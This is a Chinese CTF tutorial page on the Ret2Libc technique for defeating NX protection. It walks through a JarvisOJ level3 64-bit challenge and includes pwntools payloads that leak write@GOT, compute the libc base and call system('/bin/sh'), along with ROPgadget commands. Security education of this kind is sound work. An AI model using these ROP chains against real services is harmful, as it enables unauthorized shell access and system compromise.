当前位置: 首页 > news >正文

CTF PWN入门实战:手把手教你用Ret2Libc绕过NX保护拿shell(附32/64位完整EXP)

CTF PWN实战:Ret2Libc技术精要与64位系统攻防艺术

第一次参加CTF比赛时,我盯着那道PWN题整整三小时——明明找到了栈溢出漏洞,却因为NX保护束手无策。直到掌握Ret2Libc技术,才真正打开了二进制漏洞利用的新世界。本文将带你深入这个让无数初学者又爱又恨的攻防技术,从原理剖析到实战对抗,一步步拆解现代系统安全机制的破解之道。

1. Ret2Libc技术核心:当代码不可执行时

现代操作系统部署的NX(No-eXecute)保护机制,就像给内存区域贴上了"禁止运行"的标签。当攻击者试图执行栈上的shellcode时,CPU会直接抛出异常。这迫使我们必须寻找新的攻击路径——重用程序中已有的代码片段。

Ret2Libc的精妙之处在于它发现了三个关键事实:

  • 所有动态链接程序都会加载libc库
  • libc包含system等关键函数
  • 函数地址虽随机化,但相对偏移固定

典型攻击链

  1. 泄露某个libc函数的内存地址(如write)
  2. 根据偏移量反推libc基地址
  3. 计算system和/bin/sh的实际地址
  4. 构造新的调用链触发shell

重要提示:选择泄露函数时,puts和write是最常用选择,但要注意puts会自动在输出末尾添加换行符,可能导致解析困难。

2. 32位与64位体系的关键差异

2.1 参数传递机制对比

特性32位系统64位系统
参数传递通过栈传递RDI/RSI/RDX/RCX/R8/R9寄存器
典型ROP链直接覆盖返回地址需要gadget控制寄存器
栈对齐通常不需要可能需额外ret指令对齐

32位EXP示例片段:

payload = b'A'*offset + p32(write_plt) payload += p32(main_addr) # 返回地址 payload += p32(1) + p32(write_got) + p32(4) # 参数

64位EXP则需要寄存器控制:

payload = b'A'*offset + p64(pop_rdi) + p64(1) payload += p64(pop_rsi_r15) + p64(write_got) + p64(0) payload += p64(write_plt) + p64(main_addr)

2.2 地址泄露的精细处理

64位地址通常以0x7f开头,接收时需要特殊处理:

# 正确方式:捕获到7f后取前6字节补零 leak = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) # 危险方式:直接接收8字节可能包含垃圾数据 leak = u64(r.recv(8)) # 不推荐

3. 实战演练:以JarvisOJ Level3为例

3.1 目标分析

检查安全防护:

checksec --file=level3_x64 [*] '/tmp/level3_x64' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

关键漏洞点:

void vulnerable_function() { char buf[128]; read(0, buf, 256); // 明显的栈溢出 }

3.2 利用步骤详解

  1. 定位gadget

    ROPgadget --binary level3_x64 --only "pop|ret" 0x00000000004006b3 : pop rdi ; ret # 参数1 0x00000000004006b1 : pop rsi ; pop r15 ; ret # 参数2
  2. 构造第一次payload泄露write地址

    offset = 136 payload = flat([ b'A'*offset, pop_rdi, 1, pop_rsi_r15, write_got, 0, write_plt, main_addr # 重新执行 ])
  3. 计算关键地址

    libc = ELF('./libc-2.23.so') write_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc_base = write_addr - libc.symbols['write'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
  4. 最终攻击payload

    payload = flat([ b'A'*offset, pop_rdi, binsh_addr, ret_addr, # 某些情况需要栈对齐 system_addr ])

4. 进阶技巧与避坑指南

4.1 Libc版本处理策略

当题目未提供libc时,三种应对方案:

  1. 暴力破解

    from LibcSearcher import * obj = LibcSearcher('write', write_addr) libc_base = write_addr - obj.dump('write')
  2. 特征字节匹配

    # 检查libc版本特征 if (leaked_addr & 0xfff) == 0x7d0: print("疑似glibc 2.23")
  3. 多版本尝试

    # 准备常见libc版本库 $ ls libs/ libc6_2.23-0ubuntu11_amd64.so libc6_2.27-3ubuntu1_amd64.so

4.2 常见问题排查表

现象可能原因解决方案
泄露地址全为零函数未执行过(GOT未解析)选择已调用过的函数
接收数据不完整没处理缓冲/换行符使用recvuntil明确终止条件
system执行崩溃栈未对齐添加ret gadget调整栈指针
本地通远程不通libc版本差异使用Docker还原题目环境

4.3 防御对抗技术

现代系统新增的防护机制给Ret2Libc带来新挑战:

  • ASLR:通过信息泄露绕过
  • FULL RELRO:使GOT表不可写,需转向其他泄露方式
  • Stack Canary:需要先泄露canary值
  • seccomp:限制可用系统调用,需调整攻击链

绕过示例(针对部分RELRO):

# 使用printf泄露栈地址 payload = p32(printf_plt) + p32(main_addr) payload += p32(fmt_str) # 如"%p"泄露栈数据

在真实攻防对抗中,Ret2Libc往往只是攻击链的起点。某次AWD比赛中,我们就是通过组合Ret2Libc和堆漏洞,最终实现了权限提升。这种技术演进的过程,恰恰体现了安全攻防永不停息的魅力。

http://www.jsqmd.com/news/660224/

相关文章:

  • Java Stream分组后顺序乱了?别慌,LinkedHashMap一招搞定(附源码解析)
  • 英语阅读_Einstein
  • 洛雪音乐助手:一个界面,全网音乐,你的终极免费播放器解决方案
  • SITS2026圆桌闭门共识:2024生成式AI投资已进入“负容错时代”,3个必须立即审计的财务与合规断点(含审计Checklist模板)
  • Windows AirPods电量显示终极指南:完整解锁苹果耳机全部功能
  • 从杂乱到洞察:手把手教你用Gephi的‘统计’与‘过滤’功能深挖网络数据
  • Zotero-OCR终极指南:3分钟为PDF文献添加可搜索文本层 [特殊字符]
  • 2026耐用型UPS不间断电源厂家推荐,靠谱供应商选择指南 - myqiye
  • 高校科研组紧急升级写作工具链:2026奇点大会闭门分享的4套学科定制化AI写作引擎(覆盖CS/生物/材料/社科,限前500所高校申领)
  • 压痕、起拱、电阻失效?一文看懂 PVC 防静电地板怎么选 - 江苏中天庄美荃
  • 2026年靠谱的UPS不间断电源生产厂推荐,三相、绿色款性价比高的有哪些 - 工业设备
  • VMware/VirtualBox跑Win10太慢?这18个隐藏设置关掉,性能立竿见影
  • 别再只会print了!用Python tkinter给你的脚本加个可视化界面(附完整代码)
  • 免费歌词制作工具终极指南:三分钟学会制作专业级LRC滚动歌词
  • 如何彻底解决Windows软件残留问题:Bulk Crap Uninstaller深度技术解析
  • 【竞赛篇-新苗全流程拆解】从申报到结题:一份跨越三年的浙江省新苗人才计划实战指南
  • 盘点北京赛事团餐配送公司,靠谱的品牌推荐来了 - 工业品牌热点
  • 别再只插USB了!SIM800A模块发短信调试,电源不稳导致AT指令ERROR的排查实录
  • 魔兽争霸3终极优化指南:5分钟解锁高清流畅体验
  • 回收心得分享:如何找到靠谱的回收平台快速处理话费卡? - 团团收购物卡回收
  • Navicat无限试用破解:3分钟掌握Mac版永久免费使用终极方案
  • AES解密流程顺序总搞混?一张图+实战代码(C++/Python)帮你彻底理清
  • 华为设备BGP选路12条规则实战解析:从PrefVal到Router_ID,手把手教你调优网络路径
  • 街霸6知识
  • AnythingtoRealCharacters2511开箱即用:动漫图片秒变真人写真
  • 3步上手MelonLoader:让Unity游戏模组加载变得简单高效
  • Docker登录私库总报x509证书错误?别慌,5分钟搞定daemon.json配置
  • 【重磅】热门的朋友圈广告口碑排行 - 服务品牌热点
  • Drop.js与Bootstrap集成:打造一致的UI体验
  • SAP ABAP开发:给SM30维护视图自动添加创建/修改日志字段(附完整代码)